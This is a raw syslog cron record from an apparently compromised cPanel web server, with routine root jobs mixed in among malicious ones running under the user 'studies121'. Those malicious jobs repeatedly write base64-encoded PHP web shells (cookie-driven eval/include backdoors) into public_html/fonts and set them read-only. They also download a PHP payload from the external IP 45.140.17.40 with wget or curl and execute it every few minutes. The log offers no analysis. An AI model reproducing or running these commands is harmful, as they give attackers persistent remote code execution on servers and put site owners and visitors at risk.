Sep  3 15:49:01 ip-184-168-122-23 CROND[28911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:49:01 ip-184-168-122-23 CROND[28909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:50:01 ip-184-168-122-23 CROND[29021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:50:01 ip-184-168-122-23 CROND[29020]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 15:50:01 ip-184-168-122-23 CROND[29025]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 15:50:01 ip-184-168-122-23 CROND[29026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:50:01 ip-184-168-122-23 CROND[29027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:50:01 ip-184-168-122-23 CROND[29028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:50:01 ip-184-168-122-23 CROND[29032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:50:01 ip-184-168-122-23 CROND[29034]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:50:01 ip-184-168-122-23 CROND[29033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:51:01 ip-184-168-122-23 CROND[29148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:51:01 ip-184-168-122-23 CROND[29150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:51:01 ip-184-168-122-23 CROND[29149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:51:01 ip-184-168-122-23 CROND[29151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:52:01 ip-184-168-122-23 CROND[29341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:52:01 ip-184-168-122-23 CROND[29343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:52:01 ip-184-168-122-23 CROND[29344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:52:01 ip-184-168-122-23 CROND[29345]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:52:01 ip-184-168-122-23 CROND[29346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:53:01 ip-184-168-122-23 CROND[29425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:53:01 ip-184-168-122-23 CROND[29427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:53:01 ip-184-168-122-23 CROND[29428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:53:01 ip-184-168-122-23 CROND[29426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:54:01 ip-184-168-122-23 CROND[29507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:54:01 ip-184-168-122-23 CROND[29511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:54:01 ip-184-168-122-23 CROND[29509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:54:01 ip-184-168-122-23 CROND[29512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:54:01 ip-184-168-122-23 CROND[29510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:55:01 ip-184-168-122-23 CROND[29596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:55:01 ip-184-168-122-23 CROND[29597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:55:01 ip-184-168-122-23 CROND[29600]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:55:01 ip-184-168-122-23 CROND[29599]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:55:01 ip-184-168-122-23 CROND[29598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:55:01 ip-184-168-122-23 CROND[29601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:56:01 ip-184-168-122-23 CROND[29686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:56:01 ip-184-168-122-23 CROND[29689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:56:01 ip-184-168-122-23 CROND[29688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:56:01 ip-184-168-122-23 CROND[29690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:56:01 ip-184-168-122-23 CROND[29691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:57:01 ip-184-168-122-23 CROND[29771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:57:01 ip-184-168-122-23 CROND[29773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:57:01 ip-184-168-122-23 CROND[29774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:57:01 ip-184-168-122-23 CROND[29776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:58:01 ip-184-168-122-23 CROND[29890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:58:01 ip-184-168-122-23 CROND[29892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:58:01 ip-184-168-122-23 CROND[29893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:58:01 ip-184-168-122-23 CROND[29895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:58:01 ip-184-168-122-23 CROND[29894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:59:01 ip-184-168-122-23 CROND[30036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:59:01 ip-184-168-122-23 CROND[30040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:59:01 ip-184-168-122-23 CROND[30038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:59:01 ip-184-168-122-23 CROND[30039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:00:01 ip-184-168-122-23 CROND[30125]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 16:00:01 ip-184-168-122-23 CROND[30128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:00:01 ip-184-168-122-23 CROND[30130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:00:01 ip-184-168-122-23 CROND[30133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:00:01 ip-184-168-122-23 CROND[30134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:00:01 ip-184-168-122-23 CROND[30135]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:00:01 ip-184-168-122-23 CROND[30136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:00:01 ip-184-168-122-23 CROND[30137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:00:01 ip-184-168-122-23 CROND[30139]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 16:01:01 ip-184-168-122-23 CROND[30225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:01:01 ip-184-168-122-23 CROND[30228]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 16:01:01 ip-184-168-122-23 CROND[30227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
